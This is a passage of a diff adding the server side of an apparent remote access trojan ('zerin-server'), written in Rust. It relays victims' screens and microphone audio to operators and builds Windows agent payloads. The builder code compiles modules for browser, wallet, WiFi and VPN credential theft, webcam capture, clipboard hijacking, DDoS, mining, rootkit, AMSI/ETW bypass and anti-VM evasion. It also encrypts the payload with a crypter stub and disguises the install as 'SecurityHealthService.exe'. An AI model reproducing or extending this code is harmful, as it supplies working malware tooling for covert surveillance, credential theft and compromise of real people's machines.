(0x00u8, w, h, payload) + }; + + let timestamp_ms = std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .unwrap_or_default() + .as_millis() as u64; + + let frame = VncFrame { + width, height, timestamp_ms, frame_type, payload, + }; + state.vnc_sessions.relay_frame(&token, frame); + } + Some(Ok(Message::Close(_))) | None => { + info!(token = %&token[..8], "Agent VNC WebSocket disconnected"); + break; + } + Some(Ok(Message::Ping(data))) => { + if socket.send(Message::Pong(data)).await.is_err() { + break; + } + } + Some(Ok(_)) => {} // ignore text/pong + Some(Err(e)) => { + warn!(token = %&token[..8], "Agent VNC WebSocket error: {}", e); + break; + } + } + } + + // Input notify — drain and send to agent + _ = input_notify.notified() => { + let events = state.vnc_sessions.drain_input(&token); + if !events.is_empty() { + let data = serialize_input_events(&events); + if socket.send(Message::Binary(data.into())).await.is_err() { + break; + } + } + } + + // Periodic fallback drain (safety net) + _ = drain_interval.tick() => { + let events = state.vnc_sessions.drain_input(&token); + if !events.is_empty() { + let data = serialize_input_events(&events); + if socket.send(Message::Binary(data.into())).await.is_err() { + break; + } + } + } + } + + // Check session still active + if let Some(session) = state.vnc_sessions.get_by_token(&token) { + if !session.active.load(std::sync::atomic::Ordering::Relaxed) { + info!(token = %&token[..8], "Agent VNC WS: session deactivated, closing"); + break; + } + } else { + break; + } + } + + state.vnc_sessions.clear_input_notify(&token); + let _ = socket.close().await; +} + +// ============================================================================ +// GET /api/mic/:agent_id/ws — WebSocket for microphone audio stream +// ============================================================================ + +pub async fn mic_ws_handler( + State(state): State>, + Path(agent_id): Path, + ws: WebSocketUpgrade, +) -> impl IntoResponse { + ws.max_message_size(256 * 1024) + .on_upgrade(move |mut socket| async move { + // Post-connection auth: wait for {"type":"auth","token":"JWT"} + let claims = match ws_auth(&mut socket, &state).await { + Some(c) => c, + None => { let _ = socket.close().await; return; } + }; + // Check agent access + if let Err(_) = crate::api::routes::check_agent_access(&state, &agent_id, &claims) { + let _ = socket.close().await; + return; + } + handle_mic_ws(socket, agent_id, state).await; + }) + .into_response() +} + +async fn handle_mic_ws(mut socket: WebSocket, agent_id: String, state: Arc) { + info!(agent_id = %agent_id, "Mic WebSocket client connected"); + + let session = match state + .vnc_sessions + .get_by_agent(&agent_id, SessionMode::Microphone) + { + Some(s) => s, + None => { + warn!(agent_id = %agent_id, "Mic WebSocket: no active session"); + let _ = socket.close().await; + return; + } + }; + + let mut audio_rx = session.audio_sender.subscribe(); + + let idle_duration = std::time::Duration::from_secs(300); + let idle_timeout = tokio::time::sleep(idle_duration); + tokio::pin!(idle_timeout); + + loop { + tokio::select! { + chunk = audio_rx.recv() => { + match chunk { + Ok(c) => { + // Binary: [2:sr][1:bps][1:ch][8:ts][pcm] + let mut buf = Vec::with_capacity(12 + c.pcm_data.len()); + buf.extend_from_slice(&c.sample_rate.to_le_bytes()); + buf.push(c.bits_per_sample); + buf.push(c.channels); + buf.extend_from_slice(&c.timestamp_ms.to_le_bytes()); + buf.extend_from_slice(&c.pcm_data); + + if socket.send(Message::Binary(buf.into())).await.is_err() { + break; + } + } + Err(tokio::sync::broadcast::error::RecvError::Lagged(n)) => { + warn!(agent_id = %agent_id, "Mic WebSocket lagged, missed {} chunks", n); + } + Err(tokio::sync::broadcast::error::RecvError::Closed) => { + break; + } + } + } + + msg = socket.recv() => { + match msg { + Some(Ok(Message::Ping(data))) => { + idle_timeout.as_mut().reset(tokio::time::Instant::now() + idle_duration); + if socket.send(Message::Pong(data)).await.is_err() { break; } + } + Some(Ok(Message::Close(_))) | None => break, + Some(Ok(_)) => { + idle_timeout.as_mut().reset(tokio::time::Instant::now() + idle_duration); + } + Some(Err(_)) => break, + } + } + + _ = &mut idle_timeout => { + let _ = socket.close().await; + break; + } + } + } +} diff --git a/src/api/ws.rs b/src/api/ws.rs new file mode 100755 index 0000000..d0cbc85 --- /dev/null +++ b/src/api/ws.rs @@ -0,0 +1,217 @@ +use axum::{ + extract::{ + ws::{Message, WebSocket, WebSocketUpgrade}, + State, + }, + response::IntoResponse, +}; +use serde::{Deserialize, Serialize}; +use std::sync::Arc; +use tracing::{error, info, warn}; + +use crate::api::auth; +use crate::events::Event; +use crate::state::AppState; + +/// Wrapper that matches the dashboard's expected WsMessage format: +/// `{ "type": "event" | "agent_update", "payload": ... }` +#[derive(Serialize)] +struct WsMessage { + r#type: String, + payload: serde_json::Value, +} + +/// Post-connection auth message from client: {"type":"auth","token":"JWT"} +#[derive(Deserialize)] +struct AuthMessage { + r#type: String, + token: String, +} + +/// Handler for WebSocket upgrade requests at GET /api/ws. +/// Accepts unauthenticated upgrade — auth happens post-connection via first message. +pub async fn ws_handler( + State(state): State>, + ws: WebSocketUpgrade, +) -> impl IntoResponse { + ws.on_upgrade(move |socket| handle_socket_auth(socket, state)) +} + +/// Wait for the first message to be an auth message, validate JWT, then proceed. +async fn handle_socket_auth(mut socket: WebSocket, state: Arc) { + // Give the client 10 seconds to send the auth message. + let auth_timeout = tokio::time::Duration::from_secs(10); + let msg = match tokio::time::timeout(auth_timeout, socket.recv()).await { + Ok(Some(Ok(Message::Text(text)))) => text, + _ => { + let _ = socket.close().await; + return; + } + }; + + let auth: AuthMessage = match serde_json::from_str::(&msg) { + Ok(a) if a.r#type == "auth" => a, + _ => { + let _ = socket.close().await; + return; + } + }; + + if auth::is_token_revoked(&auth.token) { + let _ = socket.close().await; + return; + } + + let claims = match auth::validate_token(&auth.token, &state.config.jwt_secret) { + Ok(c) => c, + Err(_) => { + let _ = socket.close().await; + return; + } + }; + + let operator = claims.sub.clone(); + let role = claims.role.clone(); + handle_socket(socket, state, operator, role).await; +} + +/// Build the appropriate WsMessage(s) for a given event, filtered by ownership. +/// For agent-related events, we also send an `agent_update` message +/// with the full AgentInfoSnapshot so the dashboard can update in real-time. +fn build_ws_messages(evt: &Event, state: &AppState, operator: &str, role: &str) -> Vec { + let mut messages = Vec::new(); + + // For agent-related events, check ownership before sending anything + let agent_events = [ + "agent_checkin", + "agent_stale", + "agent_dead", + "task_queued", + "task_result", + ]; + if agent_events.contains(&evt.event_type.as_str()) && !evt.agent_id.is_empty() { + if role != "admin" { + // Check if operator owns this agent + if let Some(snapshot) = state.agents.get_agent_info(&evt.agent_id) { + if snapshot.owner != operator { + return messages; // Skip — operator doesn't own this agent + } + } else { + return messages; // Agent not found, skip + } + } + } + + // Send the event + if let Ok(payload) = serde_json::to_value(evt) { + messages.push(WsMessage { + r#type: "event".to_string(), + payload, + }); + } + + // For agent-related events, also push an agent_update with the snapshot + if agent_events.contains(&evt.event_type.as_str()) && !evt.agent_id.is_empty() { + if let Some(snapshot) = state.agents.get_agent_info(&evt.agent_id) { + if let Ok(payload) = serde_json::to_value(&snapshot) { + messages.push(WsMessage { + r#type: "agent_update".to_string(), + payload, + }); + } + } + } + + messages +} + +/// Handle a single WebSocket connection. Subscribes to the event bus +/// and forwards every event as JSON to the connected operator client. +/// Events are filtered by operator ownership (admins see all). +async fn handle_socket(mut socket: WebSocket, state: Arc, operator: String, role: String) { + info!(operator = %operator, role = %role, "WebSocket client connected"); + + let mut rx = state.event_bus.subscribe(); + // Idle timeout: close the WebSocket if no message is received from the + // client within 30 minutes. Server-sent events and pings reset the timer. + let idle_duration = std::time::Duration::from_secs(1800); + let idle_timeout = tokio::time::sleep(idle_duration); + tokio::pin!(idle_timeout); + + // Server-side keepalive: send a ping every 60s to prevent intermediate + // proxies (nginx, load balancers) from closing idle connections. + let mut ping_interval = tokio::time::interval(std::time::Duration::from_secs(60)); + ping_interval.tick().await; // consume the immediate first tick + + loop { + tokio::select! { + // Forward events from the bus to the WebSocket client. + event = rx.recv() => { + match event { + Ok(evt) => { + let messages = build_ws_messages(&evt, &state, &operator, &role); + for msg in messages { + match serde_json::to_string(&msg) { + Ok(json) => { + if socket.send(Message::Text(json.into())).await.is_err() { + info!("WebSocket client disconnected (send failed)"); + return; + } + // Reset idle timer — connection is clearly active + idle_timeout.as_mut().reset(tokio::time::Instant::now() + idle_duration); + } + Err(e) => { + error!("Failed to serialize WsMessage: {}", e); + } + } + } + } + Err(tokio::sync::broadcast::error::RecvError::Lagged(n)) => { + warn!("WebSocket client lagged, missed {} events", n); + } + Err(tokio::sync::broadcast::error::RecvError::Closed) => { + info!("Event bus closed, terminating WebSocket"); + break; + } + } + } + // Watch for incoming messages (e.g., pings or close). + msg = socket.recv() => { + match msg { + Some(Ok(Message::Close(_))) | None => { + info!("WebSocket client disconnected"); + break; + } + Some(Ok(Message::Ping(data))) => { + // Reset idle timer on any client activity + idle_timeout.as_mut().reset(tokio::time::Instant::now() + idle_duration); + if socket.send(Message::Pong(data)).await.is_err() { + break; + } + } + Some(Ok(_)) => { + // Reset idle timer on any client activity + idle_timeout.as_mut().reset(tokio::time::Instant::now() + idle_duration); + } + Some(Err(e)) => { + warn!("WebSocket error: {}", e); + break; + } + } + } + // Server-side keepalive ping + _ = ping_interval.tick() => { + if socket.send(Message::Ping(vec![].into())).await.is_err() { + info!("WebSocket client disconnected (keepalive ping failed)"); + break; + } + } + // Idle timeout: close connection if client has been silent too long + _ = &mut idle_timeout => { + info!(operator = %operator, "WebSocket idle timeout (30 min), closing"); + let _ = socket.close().await; + break; + } + } + } +} diff --git a/src/builder.rs b/src/builder.rs new file mode 100755 index 0000000..09d55e8 --- /dev/null +++ b/src/builder.rs @@ -0,0 +1,1502 @@ +use std::path::{Path, PathBuf}; +use std::time::Duration; +use rand::rngs::OsRng; +use rand::RngCore; +use serde::{Deserialize, Serialize}; +use tokio::fs; +use tracing::{error, info}; +use x25519_dalek::{PublicKey, StaticSecret}; + +use crate::crypto::ServerKeyPair; + +/// Compilation timeout in seconds (sqlite3 amalgamation needs extra time on slow VPS). +const GCC_TIMEOUT_SECS: u64 = 300; + +/// Python command: "python" on Windows, "python3" on Linux. +const PYTHON_CMD: &str = if cfg!(windows) { "python" } else { "python3" }; + +/// Source files (relative to agent root) matching build.ps1. +/// NOTE: `lib/sqlite3/sqlite3.c` is compiled separately and cached as a +/// pre-compiled object (see `CACHED_SOURCES`) because it is a ~230K-line +/// amalgamation that dominates compile time but never changes between builds. +const AGENT_SOURCES: &[&str] = &[ + "src/core/main.c", + "src/core/config.c", + "src/core/beacon.c", + "src/core/debug.c", + "src/core/base64.c", + "src/crypto/keys.c", + "src/crypto/chacha20.c", + "src/crypto/poly1305.c", + "src/crypto/aead.c", + "src/crypto/x25519.c", + "src/crypto/hkdf.c", + "src/crypto/sha256.c", + "src/crypto/random.c", + "src/comms/http.c", + "src/comms/transport.c", + "src/comms/protocol.c", + "src/commands/shell.c", + "src/commands/file_ops.c", + "src/commands/recon.c", + "src/commands/handler.c", + "src/commands/screenshot.c", + "src/commands/network.c", + "src/commands/registry.c", + "src/commands/persist.c", + "src/commands/persist_advanced.c", + "src/commands/persist_install.c", + "src/commands/environment.c", + "src/commands/vnc.c", + "src/commands/dxgi_capture.c", + "src/commands/power.c", + "src/commands/troll.c", + "src/commands/chat.c", + "src/commands/powershell.c", + "src/commands/windows.c", + "src/commands/installed_apps.c", + "src/commands/specs.c", + "src/commands/creds.c", + "src/commands/creds_chromium.c", + "src/commands/creds_firefox.c", + "src/commands/creds_wifi.c", + "src/commands/creds_windows.c", + "src/commands/creds_apps.c", + "src/commands/creds_wallets.c", + "src/commands/creds_vpn.c", + "src/commands/uac.c", + "src/commands/clipper.c", + "src/commands/webcam.c", + "src/commands/microphone.c", + "src/commands/socks5.c", + "src/commands/ddos.c", + "src/commands/miner.c", + "src/evasion/strings.c", + "src/evasion/syscalls.c", + "src/evasion/sleep_obf.c", + "src/evasion/evasion.c", + "src/evasion/obf_strings_gen.c", + "src/evasion/indirect_syscalls.c", + "src/evasion/import_dilute.c", + "src/evasion/etw.c", + "src/evasion/anti_vm.c", + "src/evasion/poly_junk.c", + "src/rootkit/rootkit.c", + "src/rootkit/unhook.c", + "src/rootkit/amsi.c", + "src/rootkit/inject.c", + "src/rootkit/commands.c", +]; + +/// Heavy source files that are self-contained (no project header deps) and +/// never change between builds. Compiled once to .o and cached in +/// `/obj_cache/` to avoid recompiling every payload build. +const CACHED_SOURCES: &[(&str, &str)] = &[ + ("lib/sqlite3/sqlite3.c", "sqlite3.o"), +]; + +#[derive(Debug, Deserialize, Serialize)] +pub struct BuildRequest { + pub name: String, + pub callback_urls: Vec, + pub sleep_interval: u32, + pub jitter_percent: u32, + pub kill_date: i64, + pub user_agent: String, + pub output_format: String, + pub debug: bool, + pub persist_methods: Option, + pub rootkit_enabled: Option, + pub encryption_enabled: Option, + pub anti_vm: Option, + pub auto_elevate: Option, + pub install_dir: Option, + pub install_subdir: Option, + pub install_filename: Option, +} + +/// Valid persistence method flags (must match agent/include/config.h) +const PERSIST_VALID_MASK: u32 = 0x0FFF; + +pub struct BuildResult { + pub payload_id: String, + pub file_path: PathBuf, + pub file_size: u64, + pub agent_pubkey_hex: String, +} + +/// Format 32 bytes as a C byte array initializer: `{0xAB, 0xCD, ...}` +fn bytes_to_c_array(bytes: &[u8; 32]) -> String { + let hex_parts: Vec = bytes.iter().map(|b| format!("0x{:02X}", b)).collect(); + format!( + "{{\n {}\n}}", + hex_parts + .chunks(8) + .map(|c| c.join(", ")) + .collect::>() + .join(",\n ") + ) +} + +/// Sanitize a string for safe interpolation into a C string literal. +/// Strips all control characters (newlines, null bytes, etc.) and escapes +/// backslashes and double quotes. Prevents C source code injection. +fn sanitize_for_c_string(s: &str) -> String { + s.chars() + .filter(|c| !c.is_control()) + .collect::() + .replace('\\', "\\\\") + .replace('"', "\\\"") +} + +/// Build the DEFAULT_URLS C initializer from the provided URLs. +fn urls_to_c_initializer(urls: &[String]) -> String { + let entries: Vec = urls.iter().map(|u| { + let escaped = sanitize_for_c_string(u); + format!(" \"{}\"", escaped) + }).collect(); + format!("{{\n{},\n NULL\n}}", entries.join(",\n")) +} + +/// Extract unique ports from callback URLs for rootkit port hiding. +fn extract_ports_from_urls(urls: &[String]) -> Vec { + let mut ports: Vec = urls.iter().filter_map(|url| { + // Parse "http://host:port/path" or "https://host:port/path" + let stripped = if url.starts_with("https://") { + &url[8..] + } else if url.starts_with("http://") { + &url[7..] + } else { + return None; + }; + // Find host:port (before any path) + let host_port = stripped.split('/').next().unwrap_or(stripped); + if let Some(colon_pos) = host_port.rfind(':') { + host_port[colon_pos + 1..].parse::().ok() + } else { + // Default ports + if url.starts_with("https://") { Some(443) } else { Some(80) } + } + }).collect(); + ports.sort(); + ports.dedup(); + ports +} + +/// Format a list of ports as a C unsigned short array initializer. +fn ports_to_c_array(ports: &[u16]) -> String { + let parts: Vec = ports.iter().map(|p| p.to_string()).collect(); + format!("{{ {}, 0 }}", parts.join(", ")) +} + +/// ChaCha20 quarter round (RFC 8439). +fn chacha20_quarter_round(x: &mut [u32; 16], a: usize, b: usize, c: usize, d: usize) { + x[a] = x[a].wrapping_add(x[b]); x[d] ^= x[a]; x[d] = x[d].rotate_left(16); + x[c] = x[c].wrapping_add(x[d]); x[b] ^= x[c]; x[b] = x[b].rotate_left(12); + x[a] = x[a].wrapping_add(x[b]); x[d] ^= x[a]; x[d] = x[d].rotate_left(8); + x[c] = x[c].wrapping_add(x[d]); x[b] ^= x[c]; x[b] = x[b].rotate_left(7); +} + +/// ChaCha20 stream cipher encryption (RFC 8439). Key = 32 bytes, nonce = 12 bytes. +fn chacha20_encrypt_bytes(key: &[u8; 32], nonce: &[u8; 12], data: &[u8]) -> Vec { + let mut state = [0u32; 16]; + state[0] = 0x61707865; + state[1] = 0x3320646e; + state[2] = 0x79622d32; + state[3] = 0x6b206574; + for i in 0..8 { + state[4 + i] = u32::from_le_bytes([ + key[i * 4], key[i * 4 + 1], key[i * 4 + 2], key[i * 4 + 3], + ]); + } + state[12] = 0; + state[13] = u32::from_le_bytes([nonce[0], nonce[1], nonce[2], nonce[3]]); + state[14] = u32::from_le_bytes([nonce[4], nonce[5], nonce[6], nonce[7]]); + state[15] = u32::from_le_bytes([nonce[8], nonce[9], nonce[10], nonce[11]]); + + let mut output = vec![0u8; data.len()]; + let mut offset = 0; + while offset < data.len() { + let mut x = state; + for _ in 0..10 { + chacha20_quarter_round(&mut x, 0, 4, 8, 12); + chacha20_quarter_round(&mut x, 1, 5, 9, 13); + chacha20_quarter_round(&mut x, 2, 6, 10, 14); + chacha20_quarter_round(&mut x, 3, 7, 11, 15); + chacha20_quarter_round(&mut x, 0, 5, 10, 15); + chacha20_quarter_round(&mut x, 1, 6, 11, 12); + chacha20_quarter_round(&mut x, 2, 7, 8, 13); + chacha20_quarter_round(&mut x, 3, 4, 9, 14); + } + let mut block = [0u8; 64]; + for i in 0..16 { + let val = x[i].wrapping_add(state[i]); + block[i * 4..i * 4 + 4].copy_from_slice(&val.to_le_bytes()); + } + state[12] = state[12].wrapping_add(1); + let chunk = std::cmp::min(64, data.len() - offset); + for i in 0..chunk { + output[offset + i] = data[offset + i] ^ block[i]; + } + offset += chunk; + } + output +} + +/// Format a byte slice as a C hex array body: `\n 0xAA, 0xBB, ...` +fn bytes_to_c_hex(data: &[u8]) -> String { + let mut s = String::with_capacity(data.len() * 6 + data.len() / 16 * 5); + for (i, b) in data.iter().enumerate() { + if i % 16 == 0 { s.push_str("\n "); } + s.push_str(&format!("0x{:02X}", b)); + if i < data.len() - 1 { s.push_str(", "); } + } + s +} + +/// Generate an encrypted rootkit DLL header (ChaCha20-encrypted with random key). +fn generate_encrypted_rk_header(dll_bytes: &[u8]) -> String { + let mut key = [0u8; 32]; + let mut nonce = [0u8; 12]; + OsRng.fill_bytes(&mut key); + OsRng.fill_bytes(&mut nonce); + + let encrypted = chacha20_encrypt_bytes(&key, &nonce, dll_bytes); + + let mut h = String::with_capacity(encrypted.len() * 6 + 512); + h.push_str("// Auto-generated by zerin-server builder — DO NOT EDIT\n"); + h.push_str(&format!("// Rootkit DLL: {} bytes (ChaCha20-encrypted)\n", dll_bytes.len())); + h.push_str("#ifndef RK_DLL_BYTES_H\n#define RK_DLL_BYTES_H\n\n"); + h.push_str(&format!("static const unsigned char RK_DLL_KEY[32] = {{{}\n}};\n\n", bytes_to_c_hex(&key))); + h.push_str(&format!("static const unsigned char RK_DLL_NONCE[12] = {{{}\n}};\n\n", bytes_to_c_hex(&nonce))); + h.push_str(&format!("static const unsigned char RK_DLL_ENC[] = {{{}\n}};\n\n", bytes_to_c_hex(&encrypted))); + h.push_str(&format!("static const unsigned int RK_DLL_ENC_SIZE = {};\n", dll_bytes.len())); + h.push_str("\n#endif // RK_DLL_BYTES_H\n"); + h +} + +/// Generate a crypter stub C source with the encrypted PE payload embedded. +fn generate_crypter_stub_source(pe_data: &[u8], template_path: &str) -> String { + let mut key = [0u8; 32]; + let mut nonce = [0u8; 12]; + OsRng.fill_bytes(&mut key); + OsRng.fill_bytes(&mut nonce); + + let encrypted = chacha20_encrypt_bytes(&key, &nonce, pe_data); + + let mut src = String::with_capacity(encrypted.len() * 6 + 1024); + src.push_str("// Auto-generated crypter stub - DO NOT EDIT\n"); + src.push_str("#include \n\n"); + + src.push_str("static const uint8_t STUB_KEY[32] = {\n "); + for (i, b) in key.iter().enumerate() { + src.push_str(&format!("0x{:02X}", b)); + if i < 31 { src.push_str(", "); } + if (i + 1) % 16 == 0 && i < 31 { src.push_str("\n "); } + } + src.push_str("\n};\n\n"); + + src.push_str("static const uint8_t STUB_NONCE[12] = {\n "); + for (i, b) in nonce.iter().enumerate() { + src.push_str(&format!("0x{:02X}", b)); + if i < 11 { src.push_str(", "); } + } + src.push_str("\n};\n\n"); + + src.push_str(&format!("#define STUB_PAYLOAD_SIZE {}\n\n", pe_data.len())); + src.push_str(&format!("static const uint8_t STUB_PAYLOAD[] = {{{}\n}};\n\n", bytes_to_c_hex(&encrypted))); + src.push_str(&format!("#include \"{}\"\n", template_path)); + src +} + +/// Patch config.c source with the given build parameters. +fn patch_config_source( + source: &str, + req: &BuildRequest, + server_pubkey: &[u8; 32], + agent_privkey: &[u8; 32], + agent_pubkey: &[u8; 32], + agent_id: &str, +) -> String { + let mut patched = source.to_string(); + + // Replace DEFAULT_URLS initializer + let url_init = urls_to_c_initializer(&req.callback_urls); + patched = regex_replace_block( + &patched, + r#"static const char \*DEFAULT_URLS\[\] = \{"#, + "};", + &format!("static const char *DEFAULT_URLS[] = {};", url_init), + ); + + // Replace DEFAULT_AGENT_ID + patched = patched.replace( + r#"static const char *DEFAULT_AGENT_ID = "00000000-0000-0000-0000-000000000000";"#, + &format!(r#"static const char *DEFAULT_AGENT_ID = "{}";"#, agent_id), + ); + + // Replace DEFAULT_USER_AGENT + let old_ua = find_string_literal(&patched, "DEFAULT_USER_AGENT"); + if let Some(old) = old_ua { + patched = patched.replace( + &old, + &format!( + r#"static const char *DEFAULT_USER_AGENT = "{}";"#, + sanitize_for_c_string(&req.user_agent) + ), + ); + } + + // Replace key arrays + patched = replace_byte_array(&patched, "DEFAULT_SERVER_PUBKEY", server_pubkey); + patched = replace_byte_array(&patched, "DEFAULT_AGENT_PRIVKEY", agent_privkey); + patched = replace_byte_array(&patched, "DEFAULT_AGENT_PUBKEY", agent_pubkey); + + // Replace sleep_interval (default in config.c is 5) + patched = patched.replace( + "cfg->sleep_interval = 5;", + &format!("cfg->sleep_interval = {};", req.sleep_interval), + ); + + // Replace jitter_percent (default in config.c is 10) + patched = patched.replace( + "cfg->jitter_percent = 10;", + &format!("cfg->jitter_percent = {};", req.jitter_percent), + ); + + // Replace kill_date + patched = patched.replace( + "cfg->kill_date = 0;", + &format!("cfg->kill_date = {};", req.kill_date), + ); + + // Replace persist_methods (mask against valid flags to reject undefined bits) + let mut persist = req.persist_methods.unwrap_or(0) & PERSIST_VALID_MASK; + // COM hijack (0x0100) requires a DLL — strip it for exe builds + if req.output_format == "exe" { + persist &= !0x0100u32; + } + patched = patched.replace( + "cfg->persist_methods = DEFAULT_PERSIST_METHODS;", + &format!("cfg->persist_methods = {};", persist), + ); + + // Replace rootkit_enabled + patched = patched.replace( + "static uint32_t DEFAULT_ROOTKIT_ENABLED = 0;", + &format!("static uint32_t DEFAULT_ROOTKIT_ENABLED = {};", if req.rootkit_enabled.unwrap_or(true) { 1 } else { 0 }), + ); + + // Replace auto_elevate + patched = patched.replace( + "static uint32_t DEFAULT_AUTO_ELEVATE = 1;", + &format!("static uint32_t DEFAULT_AUTO_ELEVATE = {};", if req.auto_elevate.unwrap_or(true) { 1 } else { 0 }), + ); + + // Replace install location config + patched = patched.replace( + "cfg->install_dir = DEFAULT_INSTALL_DIR;", + &format!("cfg->install_dir = {};", req.install_dir.unwrap_or(1)), + ); + let subdir = req.install_subdir.as_deref().unwrap_or("Microsoft\\\\WindowsUpdate"); + patched = patched.replace( + "strncpy(cfg->install_subdir, DEFAULT_INSTALL_SUBDIR, 63);", + &format!("strncpy(cfg->install_subdir, \"{}\", 63);", sanitize_for_c_string(subdir)), + ); + let filename = req.install_filename.as_deref().unwrap_or("SecurityHealthService.exe"); + patched = patched.replace( + "strncpy(cfg->install_filename, DEFAULT_INSTALL_FILENAME, 63);", + &format!("strncpy(cfg->install_filename, \"{}\", 63);", sanitize_for_c_string(filename)), + ); + + patched +} + +/// Replace a `static const uint8_t NAME[32] = { ... };` block. +fn replace_byte_array(source: &str, name: &str, bytes: &[u8; 32]) -> String { + let c_array = bytes_to_c_array(bytes); + let pattern_start = format!("static const uint8_t {}[32] = {{", name); + + if let Some(start_idx) = source.find(&pattern_start) { + // Find the closing `};` + if let Some(rel_end) = source[start_idx..].find("};") { + let end_idx = start_idx + rel_end + 2; + let replacement = format!("static const uint8_t {}[32] = {};", name, c_array); + let mut result = String::with_capacity(source.len()); + result.push_str(&source[..start_idx]); + result.push_str(&replacement); + result.push_str(&source[end_idx..]); + return result; + } + } + source.to_string() +} + +/// Replace a block starting with `pattern_start` text and ending at `pattern_end`. +fn regex_replace_block(source: &str, _pattern_start_regex: &str, pattern_end: &str, replacement: &str) -> String { + // Simple approach: find the DEFAULT_URLS declaration start and replace to end + let marker = "static const char *DEFAULT_URLS[] = {"; + if let Some(start_idx) = source.find(marker) { + if let Some(rel_end) = source[start_idx..].find(pattern_end) { + let end_idx = start_idx + rel_end + pattern_end.len(); + let mut result = String::with_capacity(source.len()); + result.push_str(&source[..start_idx]); + result.push_str(replacement); + result.push_str(&source[end_idx..]); + return result; + } + } + source.to_string() +} + +/// Find the full line declaring a static const char * variable. +fn find_string_literal(source: &str, var_name: &str) -> Option { + let prefix = format!("static const char *{} = ", var_name); + for line in source.lines() { + let trimmed = line.trim(); + if trimmed.starts_with(&prefix) { + return Some(trimmed.to_string()); + } + } + None +} + +/// Recursively copy a directory. +async fn copy_dir_recursive(src: &Path, dst: &Path) -> std::io::Result<()> { + fs::create_dir_all(dst).await?; + let mut entries = fs::read_dir(src).await?; + while let Some(entry) = entries.next_entry().await? { + let file_type = entry.file_type().await?; + let dest_path = dst.join(entry.file_name()); + if file_type.is_dir() { + Box::pin(copy_dir_recursive(&entry.path(), &dest_path)).await?; + } else { + fs::copy(entry.path(), &dest_path).await?; + } + } + Ok(()) +} + +/// Detect the GCC internal directory and version. +/// +/// On Windows MinGW the layout is `/libexec/gcc/x86_64-w64-mingw32//`. +/// On Linux (Debian/Ubuntu) the layout is `/lib/gcc/x86_64-w64-mingw32//`. +/// +/// Returns `(gcc_internal_dir, version_string)` where `gcc_internal_dir` is "libexec" +/// or "lib" depending on which layout was found. +fn detect_gcc_version(mingw_root: &Path) -> Result<(String, String), String> { + // Try "libexec" first (Windows MinGW), then "lib" (Linux cross-compiler) + for dir_name in &["libexec", "lib"] { + let target = mingw_root + .join(dir_name) + .join("gcc") + .join("x86_64-w64-mingw32"); + + if !target.exists() { + continue; + } + + let mut versions: Vec = std::fs::read_dir(&target) + .map_err(|e| format!("Failed to read {} dir: {}", dir_name, e))? + .filter_map(|entry| { + let entry = entry.ok()?; + let name = entry.file_name().to_string_lossy().to_string(); + if name.chars().next().map(|c| c.is_ascii_digit()).unwrap_or(false) + && entry.file_type().ok()?.is_dir() + { + Some(name) + } else { + None + } + }) + .collect(); + + versions.sort(); + if let Some(ver) = versions.last().cloned() { + return Ok((dir_name.to_string(), ver)); + } + } + + Err(format!( + "MinGW GCC internal directory not found under {} (tried libexec/ and lib/)", + mingw_root.display() + )) +} + +/// Resolve the GCC binary path: ZERIN_GCC_PATH env var, then the config value, +/// falling back to `which gcc` if the config default doesn't exist. +fn resolve_gcc_path(configured_path: &str) -> Result { + // If the configured path exists, use it directly + if Path::new(configured_path).exists() { + return Ok(configured_path.to_string()); + } + + // Try to find gcc on PATH: `where` on Windows, `which` on Linux + let which_cmd = if cfg!(windows) { "where" } else { "which" }; + let which_arg = if cfg!(windows) { "gcc" } else { "x86_64-w64-mingw32-gcc" }; + let output = std::process::Command::new(which_cmd) + .arg(which_arg) + .output() + .map_err(|e| format!("Failed to run '{} {}': {}", which_cmd, which_arg, e))?; + + if output.status.success() { + let path = String::from_utf8_lossy(&output.stdout) + .lines() + .next() + .unwrap_or("") + .trim() + .to_string(); + if !path.is_empty() && Path::new(&path).exists() { + return Ok(path); + } + } + + Err(format!( + "GCC not found at '{}' and PATH lookup failed. Set ZERIN_GCC_PATH.", + configured_path + )) +} + +/// Ensure pre-compiled cached objects exist (e.g. sqlite3.o). +/// Compiles them from `agent_source_dir` if missing. Returns the cache dir path. +async fn ensure_cached_objects( + agent_source_dir: &Path, + output_dir: &Path, + gcc_path: &str, + gcc_internal_dir: &str, + gcc_version: &str, + mingw_path: &str, + mingw_bin_dir: &Path, +) -> Result { + let cache_dir = output_dir.join("obj_cache"); + fs::create_dir_all(&cache_dir) + .await + .map_err(|e| format!("Failed to create obj_cache dir: {}", e))?; + // Canonicalize to absolute path — GCC runs with current_dir(mingw_bin_dir) + // so relative paths would resolve against /usr/bin/ instead of server workdir. + let cache_dir = cache_dir.canonicalize() + .map_err(|e| format!("Failed to canonicalize obj_cache dir: {}", e))?; + + for &(src_rel, obj_name) in CACHED_SOURCES { + let cached_obj = cache_dir.join(obj_name); + let src_file = agent_source_dir.join(src_rel); + + // Invalidate if source is newer than cached object + let needs_compile = if cached_obj.exists() { + let src_meta = fs::metadata(&src_file).await.ok(); + let obj_meta = fs::metadata(&cached_obj).await.ok(); + match (src_meta, obj_meta) { + (Some(s), Some(o)) => { + s.modified().unwrap_or(std::time::SystemTime::UNIX_EPOCH) + > o.modified().unwrap_or(std::time::SystemTime::UNIX_EPOCH) + } + _ => true, + } + } else { + true + }; + + if needs_compile { + info!(src = %src_rel, "Compiling cached object (first-time or source changed)"); + let src_path_str = src_file.to_string_lossy().replace('\\', "/"); + let obj_path_str = cached_obj.to_string_lossy().replace('\\', "/"); + + let mingw_root = Path::new(gcc_path) + .parent() + .and_then(|p| p.parent()) + .map(|p| p.display().to_string()) + .unwrap_or_default(); + let tool_prefix = format!("-B{}/{}/gcc/x86_64-w64-mingw32/{}/", + mingw_root.replace('\\', "/"), gcc_internal_dir, gcc_version); + let binutils_prefix = format!("-B{}/x86_64-w64-mingw32/bin/", + mingw_root.replace('\\', "/")); + + // Include dir for sqlite3 (it needs its own header) + let sqlite3_include = format!("-I{}", agent_source_dir.join("lib/sqlite3") + .to_string_lossy().replace('\\', "/")); + let include_flag = format!("-I{}", agent_source_dir.join("include") + .to_string_lossy().replace('\\', "/")); + + let mut cmd = tokio::process::Command::new(gcc_path); + cmd.args([ + &tool_prefix, &binutils_prefix, + "-std=gnu11", "-w", "-O2", "-pipe", + "-fno-stack-protector", "-fno-asynchronous-unwind-tables", + "-ffunction-sections", "-fdata-sections", + "-D_WIN32_WINNT=0x0601", "-DWINVER=0x0601", + &include_flag, &sqlite3_include, + "-c", &src_path_str, + "-o", &obj_path_str, + ]); + cmd.current_dir(mingw_bin_dir); 